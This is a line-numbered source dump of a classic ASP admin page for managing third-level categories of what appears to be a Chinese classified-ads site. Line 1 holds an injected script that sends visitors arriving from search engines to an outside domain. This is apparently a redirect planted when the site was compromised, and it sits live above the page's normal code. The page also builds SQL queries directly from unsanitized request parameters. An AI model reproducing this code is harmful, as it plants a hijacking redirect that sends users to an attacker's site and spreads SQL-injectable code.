d:\wwwroot\wuchunhua\admin\typeedit_three.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <%if session("china_admin")="" then
003: response.redirect "login.asp"
004: end if%
>
005: <%dim action,id,dname
006: threeid=request.QueryString("threeid")
007: twoid=request.QueryString("twoid")
008: id=request.QueryString("id")
009: action=request.querystring("action")
010: dname=trim(request("name"))
011: set rs=server.CreateObject("adodb.recordset")
012: rs.open "select * from china_type where id="&id&" and twoid=0",conn,1,3
013: mname=rs("name")
014: rs.close
015: rs.open "select * from china_type where id="&id&" and twoid="&twoid&"",conn,1,3
016: mname2=rs("name")
017: rs.close
018: set rs=nothing
019: select case action
020: case "add"
021: if dname<>"" then
022: set rs=server.CreateObject("adodb.recordset")
023: rs.open "select * from china_type where id="&id&" and twoid="&twoid&" and threeid<>0 and name='"&dname&"'",conn,1,3
024: if rs.eof then
025: rs.close
026: rs.open "select * from china_type where id="&id&" and twoid="&twoid&" order by threeid desc",conn,1,3
027: three=rs("threeid")+1
028: rs.close
029:    rs.open "china_type",conn,1,3
030: rs.AddNew
031: rs("id")=id
032: rs("name")=dname
033: rs("indexid")=trim(request("indexid"))
034: rs("indexshow")=trim(request("indexshow"))
035: if request("colorshow")="1" then
036: rs("trcolor")="#ffe8e8"
037: rs("tdcolor")="#dd91a5"
038: rs("titlecolor")="#990000"
039: rs("telcolor")="#ff0000"
040: end if
041: if request("colorshow")="2" then
042: rs("trcolor")="#f7ffe1"
043: rs("tdcolor")="#92dcb9"
044: rs("titlecolor")="#009900"
045: rs("telcolor")="#246838"
046: end if
047: if request("colorshow")="3" then
048: rs("trcolor")="#e6faff"
049: rs("tdcolor")="#91b9dd"
050: rs("titlecolor")="#0066cc"
051: rs("telcolor")="#0066cc"
052: end if
053: if request("colorshow")="4" then
054: rs("trcolor")="#ffe1fb"
055: rs("tdcolor")="#b021c5"
056: rs("titlecolor")="#cc33cc"
057: rs("telcolor")="#990099"
058: end if
059: rs("twoid")=twoid
060: rs("threeid")=three
061: rs.Update
062: rs.Close
063: set rs=nothing
064: else
065: rs.Close
066: set rs=nothing
067: response.write "<script>window.alert('你输入的三级目录名称:"&dname&"已经有了!');history.go(-1);</script>"
068: end if
069: end if
070: case "edit"
071: set rs=server.CreateObject("adodb.recordset")
072: rs.open "select * from china_type where threeid="&threeid&" and twoid="&twoid&" and id="&id,conn,1,3
073: yname=rs("name")
074: rs("name")=dname
075: rs("indexid")=trim(request("indexid"))
076: rs("indexshow")=trim(request("indexshow"))
077: if request("colorshow")="1" then
078: rs("trcolor")="#ffe8e8"
079: rs("tdcolor")="#dd91a5"
080: rs("titlecolor")="#990000"
081: rs("telcolor")="#ff0000"
082: end if
083: if request("colorshow")="2" then
084: rs("trcolor")="#f7ffe1"
085: rs("tdcolor")="#92dcb9"
086: rs("titlecolor")="#009900"
087: rs("telcolor")="#246838"
088: end if
089: if request("colorshow")="3" then
090: rs("trcolor")="#e6faff"
091: rs("tdcolor")="#91b9dd"
092: rs("titlecolor")="#0066cc"
093: rs("telcolor")="#0066cc"
094: end if
095: if request("colorshow")="4" then
096: rs("trcolor")="#ffe1fb"
097: rs("tdcolor")="#b021c5"
098: rs("titlecolor")="#cc33cc"
099: rs("telcolor")="#990099"
100: end if
101: rs.Update
102: rs.Close
103: set rs=nothing
104: sql="update china_data set type_three='"&dname&"' where  type_oneid="&id&" and type_twoid="&twoid&" and type_threeid="&threeid&""
105: conn.execute sql
106:
107:
108: case "del"
109: set rs=server.CreateObject("adodb.recordset")
110: conn.execute ("delete from china_type where id="&id&" and twoid="&twoid&" and threeid="&threeid&"")
111: sql="select * from china_data where type_oneid="&id&" and type_twoid="&twoid&" and type_threeid="&threeid&""
112: set rs=server.createobject("adodb.recordset")
113: rs.open sql,conn,3,2
114: Set fdel = CreateObject("Scripting.FileSystemObject")  
115: if not rs.eof then
116: For iPage = 1 To rs.recordcount
117: adid=rs("adid")
118:   pic=rs("pic")
119: rs.delete
120: rs.update
121: sql1="delete from china_message where adid ="&adid&""    
122: conn.execute(sql1)
123: rs.movenext    
124:    '''''''''''删除html开始''''''''''''''''
125:
126:               tempImageDir = Server.MapPath("../html/"&adid&".htm")
127:                 fdel.DeleteFile(tempImageDir)
128:              if pic<>"" and lcase(left(pic,7))<>"http://" then
129:              fdel.DeleteFile(Server.MapPath("../adpic/"&pic&""))
130:              end if
131:             
132: '''''''''''删除html结束'''''''''''''''
133: if rs.eof then exit for
134: next
135: set fdel=nothing
136: rs.close  
137: set rs=nothing                                
138: end if
139: conn.close  
140: set conn=nothing
141: response.Redirect "typeedit_three.asp?id="&id&"&twoid="&twoid&""
142: end select
143: %
>
144: <html>
145: <head>
146: <link rel="stylesheet" type="text/css" href="style.css">
147: <meta http-equiv="Content-Type" content="text/html; charset=gb2312">
148: <meta name="GENERATOR" content="Microsoft FrontPage 4.0">
149: <meta name="ProgId" content="FrontPage.Editor.Document">
150: <title>分类管理</title>
151: </head>
152:
153: <body background="images/background.gif">
154: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
155:   <tr>
156:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">三&nbsp;级&nbsp;分 类 栏&nbsp;目&nbsp;管 理</font></td>
157:   </tr>
158:   <tr>
159:     <td bgcolor="#FFFFFF"> &nbsp;[<a href="typeedit.asp">首页</a>]-&gt;[<a href="typeedit_two.asp?id=<%=id%>"><%=mname%></a>]-&gt;<%=mname2%><br>
160:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
161:         <tr align="center" bgcolor="#FFFFFF" height="20">
162:           <td width="30">编号</td>
163:           <td>分类名称</td>
164:           <td>显示顺序</td>
165:           <td>首页显示</td>
166:         <td>首页配色</td>
167:           <td>管理操作</td>
168:         </tr>
169:         <%set rs=server.CreateObject("adodb.recordset")
170:         rs.Open "select * from china_type where id="&id&" and twoid="&twoid&" and threeid<>0 order by threeid",conn,1,1
171:         dim follows
172:         if rs.EOF and rs.BOF then
173:           response.write"<tr bgcolor=#FFFFFF><td colspan='6'><p align='center'><font color='red'>暂无分类!</font></td></tr></table><br>"
174:         follows=0
175:         else
176:         do while not rs.EOF
177:         i=i+1
178:         %
>
179:         <form name="form1" method="post" action="typeedit_three.asp?action=edit&id=<%=int(rs("id"))%>&twoid=<%=int(rs("twoid"))%>&threeid=<%=int(rs("threeid"))%>">
180:           <tr bgcolor="#FFFFFF" align="center">
181:         <td><%=i%></td>
182:         
183:             <td><input name="name" type="text" size="12" value="<%=trim(rs("name"))%>"></td>
184:             <td><input name="indexid" type="text" size="2" value="<%=trim(rs("indexid"))%>"></td>
185:             <td><select name="indexshow">
186: <option value="yes" <%if rs("indexshow")="yes" then%>selected<%end if%>>显示</option>
187: <option value="no" <%if rs("indexshow")="no" then%>selected<%end if%>>隐藏</option>
188:                     </select></td>
189:             <td><select name="colorshow">
190: <option value="1" <%if rs("trcolor")="#ffe8e8" then%>selected<%end if%> style="COLOR:#990000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
191: <option value="2" <%if rs("trcolor")="#f7ffe1" then%>selected<%end if%> style="COLOR:#009900;BACKGROUND-COLOR:#f7ffe1;">配色2</option>
192: <option value="3" <%if rs("trcolor")="#e6faff" then%>selected<%end if%> style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色3</option>
193: <option value="4" <%if rs("trcolor")="#ffe1fb" then%>selected<%end if%> style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色4</option>
194:                     </select></td>
195:             <td><input type="submit" name="Submit" value="修 改">
196:                 &nbsp; <input type="button" name="DEL" onclick="{if(confirm('确定要删除这个分类吗?\n将删除此分类下所有信息\n此操作不可以恢复!')){location.href='?name=<%=rs("name")%>&action=del&id=<%=rs("id")%>&twoid=<%=rs("twoid")%>&threeid=<%=rs("threeid")%>';}return false;}" value="删除" >
197:             </td>
198:           </tr>
199:         </form>
200:         <%
201:       rs.MoveNext
202:           loop
203:           follows=rs.RecordCount
204:           end if%
>
205:       </table>
206:    <br></td>
207:   </tr>
208: </table>
209: <br>
210: <table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
211:   <tr>
212:     <td height="20" bgcolor="#799AE1" align="center"><font color="#FFFFFF" style="font-size:14px">添 加 三&nbsp;级&nbsp;分 类 名 称</font></td>
213:   </tr>
214:   <tr>
215:     <td bgcolor="#FFFFFF">
216:    <br>
217:    <table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#D6DFF7">
218:         <tr align="center" bgcolor="#FFFFFF" height="20">
219:           <td width="30">编号 </td>
220:           <td>分类名称</td>
221:           <td>显示顺序</td>
222:           <td>首页显示</td>
223:           <td>首页配色</td>
224:           <td>确定操作</td>
225:         </tr>
226:         <form name="form1" method="post" action="typeedit_three.asp?action=add&id=<%=id%>&twoid=<%=twoid%>">
227:           <tr align="center" bgcolor="#FFFFFF">
228:             <td><%=rs.RecordCount+1%></td>
229:            <td><input name="name" type="text" id="name" size="12"></td>
230:            <td><input name="indexid" type="text" value="0" size="2"></td>
231:            <td><select name="indexshow">
232:                 <option value="yes">显示</option>
233:                 <option value="no" selected>隐藏</option>
234:               </select></td>
235:            <td><select name="colorshow">
236:                 <option value="1" selected style="COLOR:#990000;BACKGROUND-COLOR:#ffe8e8;">配色1</option>
237:                 <option value="2" style="COLOR:#009900;BACKGROUND-COLOR:#f7ffe1;">配色2</option>
238:                 <option value="3" style="COLOR:#0066cc;BACKGROUND-COLOR:#e6faff;">配色3</option>
239:                 <option value="4" style="COLOR:#cc33cc;BACKGROUND-COLOR:#ffe1fb;">配色4</option>
240:             </select></td>
241:            <td><input type="submit" name="Submit3" value="添 加"></td>
242:           </tr>
243:         </form>
244:       </table>
245:    <br></td>
246:   </tr>
247: </table>
248: </body>                                                                                                                          
249:                                                                                                                           
250: </html>  
251:
252:
253: